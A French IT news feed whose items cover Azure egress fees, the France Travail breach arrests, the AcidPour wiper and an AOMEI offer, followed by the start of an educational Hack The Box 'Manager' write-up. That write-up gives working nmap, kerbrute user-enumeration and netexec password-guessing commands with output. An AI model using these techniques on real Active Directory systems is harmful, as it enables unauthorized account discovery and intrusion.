# articles

feed_id: https://www.it-connect.fr/?p=78059
title: Cloud : Microsoft met fin aux frais de sortie sur Azure !
uri: Cloud-Microsoft-met-fin-aux-frais-de-sortie-sur-Azure
url: https://www.it-connect.fr/cloud-microsoft-met-fin-aux-frais-de-sortie-sur-azure/
content:
<p>À<strong> la mi-janvier 2024, Google avait pris la décision de supprimer les frais de sortie pour les clients de ses services Cloud offerts via Google Cloud Platform. Désormais, c'est au tour de Microsoft d'adopter une politique similaire pour son Cloud Azure. Faisons le point sur cette annonce !</strong></p>



<ul>
<li><a href="https://www.it-connect.fr/cloud-pour-mettre-la-pression-a-microsoft-et-amazon-google-supprime-les-frais-de-sortie/" target="_blank" rel="noopener nofollow" title="">Cloud : pour mettre la pression à Microsoft et Amazon, Google supprime les frais de sortie !</a></li>
</ul>



<p>Sur son site dédié aux mises à jour de services Azure, Microsoft a "discrètement" mis en ligne<a href="https://azure.microsoft.com/en-us/updates/now-available-free-data-transfer-out-to-internet-when-leaving-azure/" target="_blank" rel="noopener nofollow" title=""> un court message</a>, qui pourtant contient une information cruciale : la <strong>fin des frais de sortie </strong>pour les utilisateurs qui souhaitent <strong>migrer leurs données présentes sur Azure vers un autre fournisseur Cloud</strong>. Une décision qui va dans le sens de la décision prise par <strong>Google en janvier 2024</strong>, suivi par <strong>Amazon Web Services en février 2024</strong> : il ne manquait plus que Microsoft pour compléter ce trio américain.</p>



<p>À l'instar de Google, Microsoft est clair : si vous partez, et que vous souhaitez partir gratuitement, vous devez <strong>migrer l'intégralité de vos services et arrêtez d'utiliser les services Azure, en clôturant votre compte.</strong> Autrement dit, si vous sortez du <a class="wpil_keyword_link" href="https://www.it-connect.fr/cours-tutoriels/administration-systemes/stockage/cloud/" target="_blank" rel="noopener" title="Cloud" data-wpil-keyword-link="linked">Cloud</a> Azure uniquement une partie de vos services, vous ne pourrez pas bénéficier de cette gratuité. </p>



<p>L'entreprise américaine précise : "<em>Le support Azure appliquera le crédit lorsque le processus de transfert des données sera terminé et que tous les abonnements Azure associés au compte auront été annulés.</em>" - <strong>À l'inverse, Amazon avec son Cloud AWS n'impose pas la fermeture du compte.</strong></p>



<p>Microsoft en profite pour rappeler qu'il y a déjà une gratuité, partielle, pour quitter Azure : "<em>Azure offre déjà les premiers 100 Go/mois de données transférées gratuitement à tous les clients dans toutes les régions Azure du monde.</em>"</p>



<p>Si Microsoft, Google et Amazon ont pris une telle décision, ce n'est probablement pas par plaisir ni par générosité, mais certainement pour <strong>se mettre en conformité avec un nouveau texte européen qui doit entrer en vigueur en septembre 2025 : le Data Act</strong>. Ceci est d'autant plus vrai que le Digital Markets Act est entré en vigueur récemment, et qu'il contient aussi des directives qui vont en ce sens. Ceci est une première étape pour offrir plus de liberté et de souplesse aux clients d'Azure.</p>



<p><a href="https://www.zdnet.fr/actualites/cloud-et-frais-de-sortie-azure-s-en-passera-aussi-39965002.htm" target="_blank" rel="noopener nofollow" title="">Source</a></p><p>The post <a href="https://www.it-connect.fr/cloud-microsoft-met-fin-aux-frais-de-sortie-sur-azure/">Cloud : Microsoft met fin aux frais de sortie sur Azure !</a> first appeared on <a href="https://www.it-connect.fr">IT-Connect</a>.</p>


feed_id: https://www.it-connect.fr/?p=78118
title: Cyberattaque France Travail : 3 personnes interpellées et mises en détention provisoire !
uri: 2024-03-20-
url:
https://www.it-connect.fr/cyberattaque-france-travail-3-personnes-interpellees-et-mises-en-detention-provisoire/

content:
<p><strong>Dimanche dernier, les forces de l'ordre françaises ont procédé à l'arrestation de 3 personnes qui seraient impliquées dans la cyberattaque contre France Travail (ex-Pôle Emploi). Voici ce que l'on sait !</strong></p>



<p>Rappel des faits : le<strong> 13 mars 2024</strong>, <a href="https://www.it-connect.fr/cyberattaque-france-travail-mars-2024-fuite-donnees-43-millions-de-personnes/" target="_blank" rel="noopener" title="">France Travail a révélé avoir subi une cyberattaque</a> sur ses systèmes. Grâce à cette intrusion, les pirates sont parvenus à <strong>voler une base de données contenant les données personnelles de "potentiellement" 43 millions de personnes</strong>. Cette <a class="wpil_keyword_link" href="https://www.it-connect.fr/cours-tutoriels/administration-systemes/stockage/bdd/" target="_blank" rel="noopener" title="base de données" data-wpil-keyword-link="linked">base de données</a> ne contient pas d'informations bancaires, ni même les mots de passe des comptes, mais elle contient de précieuses informations sur les personnes concernées : <strong>nom, prénom, date de naissance, numéro de sécurité sociale, identifiant France Travail, adresse e-mail, adresse postale, et numéro de téléphone.</strong></p>



<h2 class="wp-block-heading">Trois jeunes mis en détention provisoire</h2>



<p>Suite à cet incident de sécurité, une enquête a été ouverte et le travail de recherche a rapidement payé puisque ce <strong>dimanche 17 mars 2024, trois personnes ont été interpellées</strong>. Puis, ce mardi 19 mars 2024, elles ont été mises en examen et <strong>placées en détention provisoire</strong> pour accès et maintien frauduleux dans un système de traitement automatisé de données, extraction de ces données, escroquerie et blanchiment, le tout en bande organisée.</p>



<p>Comme <a href="https://www.ouest-france.fr/economie/emploi/chomage/cyberattaque-contre-france-travail-trois-personnes-interpellees-93605884-e603-11ee-9618-4414a90184dc" target="_blank" rel="noopener nofollow" title="">le révèle le site Ouest France</a>, la procureure de Paris, Laure Beccuau, a indiqué à l'AFP qu'il s'agissait de<strong> trois jeunes d'une vingtaine d'années</strong>, nés en novembre 2001 dans l’<strong>Yonne</strong>, et en septembre 2000 et septembre 2002 dans l’<strong>Ardèche</strong>.</p>



<p>Les enquêteurs ont pu mener des perquisitions aux domiciles des suspects et ils ont pu <strong>analyser le <a class="wpil_keyword_link" href="https://www.it-connect.fr/actualites/actu-materiel/" target="_blank" rel="noopener" title="matériel" data-wpil-keyword-link="linked">matériel</a> informatique </strong>de ces derniers. Ils sont parvenus à identifier <strong>des preuves de participation à des activités d'escroquerie basée sur l'utilisation de campagnes de phishing</strong>. Pour le moment, des investigations sont en cours pour déterminer s'ils sont bien à l'origine de cette cyberattaque et identifier d'éventuels autres suspects.</p>



<p>Quoi qu'il en soit, la confiance est de mise, car nous ne savons pas réellement qui a cette base de données en sa possession, et elle peut être utilisée pour mettre en place des campagnes d'hameçonnage. </p><p>The post <a href="https://www.it-connect.fr/cyberattaque-france-travail-3-personnes-interpellees-et-mises-en-detention-provisoire/">Cyberattaque France Travail : 3 personnes interpellées et mises en détention provisoire !</a> first appeared on <a href="https://www.it-connect.fr">IT-Connect</a>.</p>


feed_id: https://www.it-connect.fr/?p=78122
title: AcidPour, un malware destructeur de données, qui cible Linux et les équipements réseau !
uri: 2024-03-20-
url:
https://www.it-connect.fr/acidpour-un-malware-destructeur-de-donnees-qui-cible-linux-et-les-equipements-reseau/

content:
<p><strong>Un chercheur en sécurité a identifié un nouveau logiciel malveillant destructeur de données, nommé AcidPour, et qui cible les équipements réseau ainsi que des appareils avec un système Linux. Voici ce que l'on sait sur cette menace.</strong></p>



<p>AcidPour, qui est considéré comme une <strong>variante du malware AcidRain</strong>, est, ce que l'on appelle<strong> un "data wiper", c'est-à-dire un malware dont l'unique but est de détruire les données </strong>présentes sur l'appareil infecté. Autrement dit, le malware<strong> AcidPour est destiné à effectuer des actes de sabotages</strong>. D'ailleurs, AcidRain a été utilisé dans le cadre d'une cyberattaque contre le fournisseur de communications par satellite Viasat, ce qui avait eu un impact important sur la disponibilité des services en Ukraine et en Europe.</p>



<p>Le malware AcidPour quant à lui, a été identifié par Tom Hegel, chercheur en sécurité chez SentinelLabs, et il a été téléchargé depuis l'Ukraine le 16 mars 2024. Il présente plusieurs similitudes avec AcidRain, notamment au sein des chemins pris pour cible sur les machines infectées. Néanmoins, les deux malwares ont uniquement 30% de code source en commun. AcidPour pourrait être une variante beaucoup plus évoluée et puissante qu'AcidRain, grâce à la "prise en charge" de la destruction de données sur une plus grande variété d'appareils.</p>



<p>AcidPour est un malware destructeur de données capable de <strong>s'attaquer à des équipements réseau</strong>, notamment<strong> des routeurs</strong>, mais aussi des appareils avec<strong> une distribution <a class="wpil_keyword_link" href="https://www.it-connect.fr/cours-tutoriels/administration-systemes/linux/" target="_blank" rel="noopener" title="Linux" data-wpil-keyword-link="linked">Linux</a> embarquée</strong> (Linux x86). Par exemple, il pourrait s'agir de <strong>cibler des <a class="wpil_keyword_link" href="https://www.it-connect.fr/cours-tutoriels/administration-systemes/stockage/nas/" target="_blank" rel="noopener" title="NAS" data-wpil-keyword-link="linked">NAS</a></strong> dont le système est basé sur Linux, car le malware s'intéresse aux chemins de type "/dev/dm-XX.</p>



<p>Sur <a href="https://twitter.com/NSA_CSDirector/status/1770082506856898783" target="_blank" rel="noopener nofollow" title="">X (ex-Twitter)</a>, Rob Joyce, directeur de la cybersécurité de la NSA, affiche une certaine inquiétude vis-à-vis de ce logiciel malveillante : "<em>Il s'agit d'une menace à surveiller. Mon inquiétude est d'autant plus grande que cette variante est plus puissante que la variante AcidRain et qu'elle couvre davantage de types de <a class="wpil_keyword_link" href="https://www.it-connect.fr/actualites/actu-materiel/" target="_blank" rel="noopener" title="matériel" data-wpil-keyword-link="linked">matériel</a> et de systèmes d'exploitation</em>.</p>



<p>Enfin, sachez que SentinelLabs a partagé un échantillon de ce malware sur VirusTotal, et vous pouvez le retrouver sur <a href="https://www.virustotal.com/gui/file/6a8824048417abe156a16455b8e29170f8347312894fde2aabe644c4995d7728" target="_blank" rel="noopener nofollow" title="">cette page publique</a>.</p>



<p><a href="https://www.bleepingcomputer.com/news/security/new-acidpour-data-wiper-targets-linux-x86-network-devices/" target="_blank" rel="noopener nofollow" title="">Source</a></p><p>The post <a href="https://www.it-connect.fr/acidpour-un-malware-destructeur-de-donnees-qui-cible-linux-et-les-equipements-reseau/">AcidPour, un malware destructeur de données, qui cible Linux et les équipements réseau !</a> first appeared on <a href="https://www.it-connect.fr">IT-Connect</a>.</p>


feed_id: https://www.it-connect.fr/?p=78126
title: Bon plan : 6 logiciels AOMEI gratuits pour célébrer le jour de la sauvegarde !
uri: Bon-plan-6-logiciels-AOMEI-gratuits-pour-célébrer-le-jour-de-la-sa
url:
https://www.it-connect.fr/bon-plan-6-logiciels-aomei-gratuits-pour-celebrer-le-jour-de-la-sauvegarde/

content:
<p><strong>Le 31 mars de chaque année, c'est la Journée Mondiale de la Sauvegarde ! Pour célébrer cet événement, l'éditeur AOMEI vous offre la possibilité d'utiliser ses applications gratuitement, pendant 1 an !</strong></p>



<p>AOMEI est un éditeur spécialisé dans la sauvegarde et la gestion des données qui propose un ensemble de logiciels permettant de sauvegarder et restaurer ses données, mais aussi des machines virtuelles, et une application de partitionnement baptisée Partition Assistant.</p>



<p>À l'occasion de la Journée Mondiale de la Sauvegarde, prévue pour le 31 mars 2024, AOMEI propose l'offre suivante : <strong>vous pouvez télécharger et utiliser gratuitement 6 logiciels de sauvegarde AOMEI pendant un an.</strong> En temps normal, la majorité de ces applications sont payantes et AOMEI indique que vous pouvez faire une économie de 669 dollars.</p>



<figure class="wp-block-image size-full"><img fetchpriority="high" decoding="async" width="800" height="400" src="media/5c58fd24.Bon-plan-AOMEI-Offre-backup-day-2024.jpg" data-original-source="https://www.it-connect.fr/wp-content-itc/uploads/2024/03/Bon-plan-AOMEI-Offre-backup-day-2024.jpg" alt="" class="wp-image-78127" srcset="https://www.it-connect.fr/wp-content-itc/uploads/2024/03/Bon-plan-AOMEI-Offre-backup-day-2024.jpg 800w, https://www.it-connect.fr/wp-content-itc/uploads/2024/03/Bon-plan-AOMEI-Offre-backup-day-2024-550x275.jpg 550w, https://www.it-connect.fr/wp-content-itc/uploads/2024/03/Bon-plan-AOMEI-Offre-backup-day-2024-150x75.jpg 150w, https://www.it-connect.fr/wp-content-itc/uploads/2024/03/Bon-plan-AOMEI-Offre-backup-day-2024-768x384.jpg 768w, https://www.it-connect.fr/wp-content-itc/uploads/2024/03/Bon-plan-AOMEI-Offre-backup-day-2024-50x25.jpg 50w" sizes="(max-width: 800px) 100vw, 800px" /></figure>



<p>Voici la liste des applications proposées : </p>



<ul>
<li><strong>AOMEI Backupper Professional pour la sauvegarde Windows</strong> : sauvegarde du système d'exploitation, d'un disque entier ou de fichiers individuels sur un disque local ou externe, un <a class="wpil_keyword_link" href="https://www.it-connect.fr/cours-tutoriels/administration-systemes/stockage/nas/" target="_blank" rel="noopener" title="NAS" data-wpil-keyword-link="linked">NAS</a>, un réseau ou Cloud. Possibilité d'effectuer des sauvegardes complètes, incrémentielles et différentielles.</li>



<li><strong>FoneTool Professional pour la sauvegarde de l'iPhone</strong> : sauvegarde complète ou sélective des photos, vidéos, musiques, contacts, etc. de l'iPhone/iPad/iPod.</li>



<li><strong>CBackup pour la sauvegarde Cloud (partenaire)</strong> : Sauvegarde d'un Cloud vers un autre et synchronisation des données entre plusieurs Cloud. Sauvegarde d'un PC dans le Cloud.</li>



<li><strong>AOMEI Cyber Backup Unlimited pour la sauvegarde de machines virtuelles <a class="wpil_keyword_link" href="https://www.it-connect.fr/cours-tutoriels/administration-systemes/virtualisation/hyper-v/" target="_blank" rel="noopener" title="Hyper-V" data-wpil-keyword-link="linked">Hyper-V</a> et VMware </strong></li>



<li><strong>MyRecover Pro for Windows pour la restauration de données sur Windows </strong></li>



<li><strong>MyRecover Pro for iOS pour la restauration de données sur iPhone et iPad</strong></li>
</ul>



<p>Vous pouvez profiter de cette offre dès maintenant. Lorsque vous téléchargez une application, vous obtenez <strong>une archive ZIP qui contient deux fichiers : l'exécutable de l'application ainsi qu'un fichier texte avec la clé de licence</strong> que vous devez utiliser.</p>



<p>Avant de partager cette offre reçue par e-mail de la part de l'éditeur, j'ai pris soin de me renseigner sur la durée de la validité de la licence : <strong>1 an à compter de la date d'activation</strong>. Toutefois, si vous souhaitez utiliser un logiciel, <strong>vous devez l'activer avant le 3 avril 2024</strong>, car c'est à cette date que prendra fin cette offre promotionnelle.</p>



<p>Pour en profiter, vous pouvez utiliser ce lien :</p>



<ul>
<li><a href="https://www.aomeitech.com/partners/world-backup-day/giveaway-8915.html" target="_blank" rel="noopener nofollow" title=""><strong><mark style="background-color:rgba(0, 0, 0, 0)" class="has-inline-color has-luminous-vivid-orange-color">Accéder à l'offre sur le site officiel AOMEI</mark></strong></a></li>
</ul>



<p>Si vous avez déjà une expérience avec ces applications, n'hésitez pas à commenter cet article pour nous en faire part !</p><p>The post <a href="https://www.it-connect.fr/bon-plan-6-logiciels-aomei-gratuits-pour-celebrer-le-jour-de-la-sauvegarde/">Bon plan : 6 logiciels AOMEI gratuits pour célébrer le jour de la sauvegarde !</a> first appeared on <a href="https://www.it-connect.fr">IT-Connect</a>.</p>


feed_id: https://www.it-connect.fr/?p=74647
title: Hack The Box – Résoudre la box Manager : outils, méthodes et recommandations pour se protéger
uri: Hack-The-Box-Résoudre-la-box-Manager-outils-méthodes-et-recom
url: https://www.it-connect.fr/hack-the-box-resoudre-la-box-manager/
content:
<h2 class="wp-block-heading">I. Présentation</h2>



<p><strong>Dans cet article, je vous propose la résolution de la machine <a href="https://www.hackthebox.com/machines/manager" target="_blank" rel="noopener nofollow" title="">Hack The Box Manager</a>, de difficulté "Medium"</strong>.</p>


<div class="wp-block-image">
<figure class="alignright size-full is-resized"><img fetchpriority="high" decoding="async" width="689" height="577" src="media/f8ae7024.hackthebox-writeup-manager.png" data-original-source="https://www.it-connect.fr/wp-content-itc/uploads/2024/01/hackthebox-writeup-manager.png" alt="" class="wp-image-74923" style="width:356px;height:auto" srcset="https://www.it-connect.fr/wp-content-itc/uploads/2024/01/hackthebox-writeup-manager.png 689w, https://www.it-connect.fr/wp-content-itc/uploads/2024/01/hackthebox-writeup-manager-550x461.png 550w, https://www.it-connect.fr/wp-content-itc/uploads/2024/01/hackthebox-writeup-manager-150x126.png 150w, https://www.it-connect.fr/wp-content-itc/uploads/2024/01/hackthebox-writeup-manager-50x42.png 50w" sizes="(max-width: 689px) 100vw, 689px" /></figure></div>


<p>Hack The Box est une plateforme en ligne qui met à disposition des systèmes vulnérables appelées "box". Chaque système est différent et doit être attaqué en adoptant la démarche d'un cyberattaquant. L'objectif est d'y découvrir les vulnérabilités qui nous permettront de compromettre les utilisateurs du système, puis le <strong>compte root ou administrateur.</strong></p>



<p>Ces exercices permettent de s’entraîner <strong>légalement sur des environnements technologiques divers</strong> (Linux, Windows, Active directory, web, etc.), peuvent être utiles pour tous ceux qui travaillent dans la cybersécurité (<strong>attaquants comme défenseurs</strong>) et sont très formateurs <img src="media/3fc8b120.1f642.png" data-original-source="https://s.w.org/images/core/emoji/14.0.0/72x72/1f642.png" alt="🙂" class="wp-smiley" style="height: 1em; max-height: 1em;" /></p>



<p>Je vais ici vous détailler la marche à suivre pour arriver au bout de cette box en vous donnant <strong>autant de conseils et ressources que possible</strong>. N'hésitez pas à consulter les nombreux liens qui sont présents dans l'article.</p>



<p class="has-text-align-center"><mark style="background-color:rgba(0, 0, 0, 0)" class="has-inline-color has-luminous-vivid-orange-color">Cette solution est publiée en accord avec <a href="https://app.hackthebox.com/rules" target="_blank" rel="noreferrer noopener">les règles d'HackThebox</a> et ne sera diffusée que lorsque la box en question sera indiquée comme "Retired".</mark></p>



<figure class="wp-block-table"><table><tbody><tr><td><strong>Technologies<strong>/attaques </strong> abordées</strong></td><td>Windows, Kerberos, Active Directory, Brute force, MSSQL, AD-CS</td></tr><tr><td><strong>Outils utilisés</strong></td><td>nmap, kerbrute, impacket, evil-winrm, certipy</td></tr></tbody></table></figure>



<p><strong>Retrouvez tous nos articles Hack The Box via ce lien :</strong></p>



<ul>
<li><a href="https://www.it-connect.fr/tag/hack-the-box/" target="_blank" rel="noopener" title="">IT-Connect - Articles Hack The Box</a></li>
</ul>



<h2 class="wp-block-heading">II. Résolution de la box Manager</h2>



<h3 class="wp-block-heading">A. Découverte et énumération</h3>



<p>Pour l'instant, nous ne disposons que de l'adresse IP de notre cible. Commençons par un scan réseau à l'aide de l'outil <a href="https://nmap.org/" target="_blank" rel="noopener nofollow" title="">nmap</a> pour découvrir les services exposés sur le réseau, et pourquoi pas leurs versions.</p>



<p><strong>Technique d'attaque (MITRE ATT&amp;CK) :</strong> <a href="https://attack.mitre.org/techniques/T1046/" target="_blank" rel="noopener nofollow" title="">T1046 - Network Service Discovery</a></p>



<pre class="wp-block-code"><code>$nmap --max-retries 1 -T4 -sS -A -v --open -p- 10.10.11.236

Nmap scan report for 10.10.11.236
PORT      STATE SERVICE       VERSION
53/tcp    open  domain        Simple DNS Plus
80/tcp    open  http          Microsoft IIS httpd 10.0
   |_http-server-header: Microsoft-IIS/10.0
   | http-methods: 
   |   Supported Methods: OPTIONS TRACE GET HEAD POST
   |_  Potentially risky methods: TRACE
   |_http-title: Manager
88/tcp    open  kerberos-sec  Microsoft Windows Kerberos (server time: 2023-10-25 18:44:02Z)
135/tcp   open  msrpc         Microsoft Windows RPC
139/tcp   open  netbios-ssn   Microsoft Windows netbios-ssn
389/tcp   open  ldap          Microsoft Windows Active Directory LDAP (Domain: manager.htb0., Site: Default-First-Site-Name)
445/tcp   open  microsoft-ds?
464/tcp   open  kpasswd5?
593/tcp   open  ncacn_http    Microsoft Windows RPC over HTTP 1.0
636/tcp   open  ssl/ldap      Microsoft Windows Active Directory LDAP (Domain: manager.htb0., Site: Default-First-Site-Name)
1433/tcp  open  ms-sql-s      Microsoft SQL Server 2019 15.00.2000.00; RTM
    | ms-sql-info: 
    |   10.10.11.236:1433: 
    |     Version: 
    |       name: Microsoft SQL Server 2019 RTM
    |       number: 15.00.2000.00
    |       Product: Microsoft SQL Server 2019
    |       Service pack level: RTM
    |       Post-SP patches applied: false

5985/tcp  open  http          Microsoft HTTPAPI httpd 2.0 (SSDP/UPnP)
    |_http-title: Not Found
    |_http-server-header: Microsoft-HTTPAPI/2.0
9389/tcp  open  mc-nmf        .NET Message Framing</code></pre>



<p>Nous voyons ici clairement que nous sommes sur un système d'exploitation Windows sans pare-feu. Nous pouvons également comprendre, grâce aux ports  exposés, qu'il s'agit d'un Active Directory. Les Active Directory sont quasiment les seuls systèmes à exposer un service Kerberos (port TCP/88), un service DNS (TCP/53) ainsi que les services RPC et SMB habituels (TCP/135, TCP/139 et TCP/445). Nous voyons également un service de base de données MSSQL sur le port TCP/1433, beaucoup moins commun sur un Active Directory.</p>



<p><strong>Technique d'attaque (MITRE ATT&amp;CK)</strong> : <a href="https://attack.mitre.org/techniques/T1087/002/" target="_blank" rel="noopener" title="">T1087.002 - Account Discovery: Domain Account</a></p>



<p>Un annuaire Active Directory est une cible des plus intéressantes pour un attaquant, <strong>c'est LA cible principale </strong>puisque sa compromission nous donne accès aux clés du domaine (littéralement). Problème ici, nous n'avons aucun identifiant valide et toutes nos tentatives de trouver une CVE ou un service mal configuré avec un accès anonyme se sont soldées par un échec. Nous allons devoir y aller "à l'aveugle" grâce à une fonctionnalité (et non pas une vulnérabilité) du service Kerberos : <strong>l'authentification (AS-REQ)</strong>.</p>



<p>Lorsqu'un utilisateur souhaite interagir avec le service Kerberos de notre AD, il doit au préalable être authentifié (sauf cas spécifiques avec l'attribut DONT_REQ_PREAUTH, bref). Il se trouve que <strong>le service Kerberos permet, nativement, l'énumération des utilisateurs</strong> lors de la phase d'authentification (c'est-à-dire avant authentification). Voyons cela de plus près :</p>


<div class="wp-block-image">
<figure class="aligncenter size-large"><img decoding="async" width="800" height="395" src="media/6a2a82d2.hackthebox-writeup-manager-kerberos-as-req-800x395.png" data-original-source="https://www.it-connect.fr/wp-content-itc/uploads/2024/01/hackthebox-writeup-manager-kerberos-as-req-800x395.png" alt="" class="wp-image-74926" srcset="https://www.it-connect.fr/wp-content-itc/uploads/2024/01/hackthebox-writeup-manager-kerberos-as-req-800x395.png 800w, https://www.it-connect.fr/wp-content-itc/uploads/2024/01/hackthebox-writeup-manager-kerberos-as-req-550x272.png 550w, https://www.it-connect.fr/wp-content-itc/uploads/2024/01/hackthebox-writeup-manager-kerberos-as-req-150x74.png 150w, https://www.it-connect.fr/wp-content-itc/uploads/2024/01/hackthebox-writeup-manager-kerberos-as-req-768x379.png 768w, https://www.it-connect.fr/wp-content-itc/uploads/2024/01/hackthebox-writeup-manager-kerberos-as-req-50x25.png 50w, https://www.it-connect.fr/wp-content-itc/uploads/2024/01/hackthebox-writeup-manager-kerberos-as-req.png 1112w" sizes="(max-width: 800px) 100vw, 800px" /></figure></div>


<p>Dans la trace réseau ci-dessus, j’envoie un paquet de type "<strong>AS_REQ</strong>" (<a href="https://www.rfc-editor.org/rfc/rfc1510#page-16" target="_blank" rel="noopener nofollow" title="AS-REQ (Authentication Service Request)"><em><span style="text-decoration: underline;">Authentication Service Request</span></em></a>) au service Kerberos ciblé. Celui-ci me répond avec un message "<strong>KRB5KDC_ERR_C_PRINCIPAL_UNKNOWN</strong>" (<em><a href="https://www.rfc-editor.org/rfc/rfc4120#page-111" target="_blank" rel="noopener nofollow" title="Client not found in Kerberos database">Client not found in Kerberos database</a></em>). Plutôt explicite, le nom d'utilisateur spécifié n'est pas reconnu par le service Kerberos, il n'existe pas. Voyons ce que cela donne avec un nom d'utilisateur qui existe forcément dans un Active Directory : <strong>administrator/administrateur</strong> :</p>


<div class="wp-block-image">
<figure class="aligncenter size-large"><img decoding="async" width="800" height="391" src="media/18386a52.thebox-writeup-manager-kerberos-as-req-administrator-800x391.png" data-original-source="https://www.it-connect.fr/wp-content-itc/uploads/2024/01/hackthebox-writeup-manager-kerberos-as-req-administrator-800x391.png" alt="" class="wp-image-74927" srcset="https://www.it-connect.fr/wp-content-itc/uploads/2024/01/hackthebox-writeup-manager-kerberos-as-req-administrator-800x391.png 800w, https://www.it-connect.fr/wp-content-itc/uploads/2024/01/hackthebox-writeup-manager-kerberos-as-req-administrator-550x269.png 550w, https://www.it-connect.fr/wp-content-itc/uploads/2024/01/hackthebox-writeup-manager-kerberos-as-req-administrator-150x73.png 150w, https://www.it-connect.fr/wp-content-itc/uploads/2024/01/hackthebox-writeup-manager-kerberos-as-req-administrator-768x375.png 768w, https://www.it-connect.fr/wp-content-itc/uploads/2024/01/hackthebox-writeup-manager-kerberos-as-req-administrator-50x24.png 50w, https://www.it-connect.fr/wp-content-itc/uploads/2024/01/hackthebox-writeup-manager-kerberos-as-req-administrator.png 1072w" sizes="(max-width: 800px) 100vw, 800px" /></figure></div>


<p>La réponse est différente. Nous ne sommes certes pas authentifiés, mais nous avons obtenu une information : <strong>le compte administrator existe au sein de l'Active Directory</strong> et le service Kerberos nous l'indique indirectement par un changement dans sa réponse.</p>



<blockquote class="wp-block-quote">
<p>Nous venons ici de voir ce qu'est une <strong>énumération d'utilisateur</strong>. Beaucoup plus commune au sein des applications web, l'attaquant est en mesure de savoir, sans être authentifié, si un login utilisateur existe ou n'existe pas. Cela en exploitant un comportement "binaire" du service interrogé qui peut être un message d'erreur, mais aussi un temps de réponse différent. <br><br>On ne fait pas grand chose avec cette information, mais l'authentification reposant sur un login et un mot de passe,<strong> nous avons ici déjà 50% de l'information à découvrir</strong>. Avec du temps et un bon dictionnaire, nous pourrons obtenir une liste de comptes valides, qui deviendront alors des cibles pour nos prochaines attaques.</p>
</blockquote>



<p>Cette "faiblesse" est très connue des attaquants et son exploitation est <strong>implémentée dans de très nombreux outils visant les Active Directory</strong>. Ici, nous allons utiliser l'outil "<a href="https://github.com/ropnop/kerbrute" target="_blank" rel="noopener nofollow" title="kerbrute"><strong>kerbrute</strong></a>", il se démarque notamment par sa rapidité : </p>



<pre class="wp-block-code"><code>&#91;user@kali-user:/opt/statistically-likely-usernames$ <mark style="background-color:rgba(0, 0, 0, 0)" class="has-inline-color has-luminous-vivid-orange-color">kerbrute userenum -d manager.htb --dc 10.10.11.236 service-accounts.txt -o kerbrute_validUsers_service.txt</mark>
2023/10/25 14:20:17 &gt;  &#91;+] VALID USERNAME:       administrator@manager.htb
2023/10/25 14:20:17 &gt;  &#91;+] VALID USERNAME:       guest@manager.htb
2023/10/25 14:20:17 &gt;  &#91;+] VALID USERNAME:       operator@manager.htb]()</code></pre>



<p>Je vous dois ici quelques explications. Tout d'abord, le domaine "<strong>manager.htb</strong>", d’où sort-il ? Nous l'avons en fait obtenu grâce à "<strong>nmap</strong>" et ses premières opérations d'énumération. Le nom de domaine est divulgué à dessein par l'Active Directory et ses services DNS et LDAP, comment s'authentifier auprès de lui sinon ?<br><br>Également, le dictionnaire que j'utilise ici est "<strong>service-accounts.txt</strong>". Elle provient de l'<strong>excellente ressource <a href="https://github.com/insidetrust/statistically-likely-usernames" target="_blank" rel="noopener nofollow" title="">statistically-likely-usernames</a>.</strong> Il s'agit d'une liste de nom (dictionnaires) contenant des noms utilisateur qui, statistiquement, <strong>ont de grandes chances de se retrouver dans un Active Directory.</strong> Il peut s'agir de nom de services, de noms utilisés pour des tests ou de noms "communs", comme John Smith, Eric Dupont, etc. Encore mieux, les différents dictionnaires proposés sont <strong>formatés en fonction des nomenclatures les plus communes</strong>. Pour John Smith, on trouvera par exemple le login "<strong>john.smith</strong>", "<strong>j.smith</strong>", "<strong>jsmith</strong>", "<strong>john.s</strong>". Le seul problème de cette ressource est qu'elle contient majoritairement des noms anglais.<br><br>Bref, grâce à "<strong>kerbrute</strong>", qui a exploité l'énumération utilisateur via l'"<strong>AS_REQ</strong>" Kerberos et une liste de nom de service statistiquement probable, nous parvenons à identifier le compte "<strong>operator</strong>".</p>



<h3 class="wp-block-heading">B. Mot de passe faible et MSSQL</h3>



<p>Je renseigne les noms des utilisateurs trouvés dans une liste que je pourrais réutiliser ensuite :</p>



<pre class="wp-block-code"><code>echo "operator" &gt; logins.txt
echo "guest" &gt; logins.txt
echo "administrator" &gt; logins.txt</code></pre>



<p>Il nous faut à présent trouver le mot de passe correspondant à ce compte. Nous allons utiliser "<a href="https://github.com/Pennyw0rth/NetExec" target="_blank" rel="noopener nofollow" title="netexec"><strong>netexec</strong></a>" pour effectuer une authentification via SMB en utilisant les logins identifiés :</p>



<p><strong>Technique d'attaque (MITRE ATT&amp;CK) </strong>: <a href="https://attack.mitre.org/techniques/T1110/001/" target="_blank" rel="noopener nofollow" title="">T1110.001 - Brute Force: Password Guessing</a></p>



<pre class="wp-block-code"><code>$ netexec smb 10.10.11.236 -u logins.txt -p logins.txt --no-bruteforce                
SMB         10.10.11.236    445    DC01             &#91;*] Windows 10.0 Build 17763 x64 (name:DC01) (domain:manager.htb) (signing:True) (SMBv1:False)
SMB         10.10.11.236    445    DC01             &#91;+] manager.htb\operator:operator  </code></pre>



<p>Ici, nous allons utiliser notre liste de login à la fois comme entrée du paramètre "<strong>-u</strong>" (<em>username</em>) et "<strong>-p</strong>" (<em>password</em>). Avec l'option "<strong>--no-bruteforce</strong>", l'outil saura que l'on souhaite faire une attaque de type <em>user as pass</em>. Autrement dit, tenter une seule authentification par compte, avec comme mot de passe login utilisateur.</p>



<blockquote class="wp-block-quote">
<p>Dans un contexte réaliste, il faut être très vigilant lors de la réalisation d'une authentification avec un compte utilisateur. La réalisation de quelques tentatives d'authentification infructueuses peut bloquer le compte utilisateur pendant plusieurs minutes et perturber un service ou l'activité de l’utilisateur. Avant toute opération, il est nécessaire au minimum de connaitre la politique de mot de passe et de verrouillage en place. La difficulté principale étant que cet élément n'est récupérable qu'en étant authentifié.<br><br>Via une attaque de type <em>user as pass</em>, nous sommes sûrs de réaliser qu'une seule tentative d'authentification par compte, les chances de verrouillage sont donc bien moindres.</p>
</blockquote>



<p>Notre attaque nous a permis de découvrir que le compte "<strong>operator</strong>" utilise également "<strong>operator</strong>" comme mot de passe. Cela est <strong>loin d'être rare dans un contexte réalise</strong> et c'est d'autant plus le cas pour les comptes non nominatifs comme les comptes de tests ou de service  ("<strong>formation</strong>", "<strong>scan</strong>", "<strong>accueil</strong>", "<strong>test2023</strong>", etc.).</p>



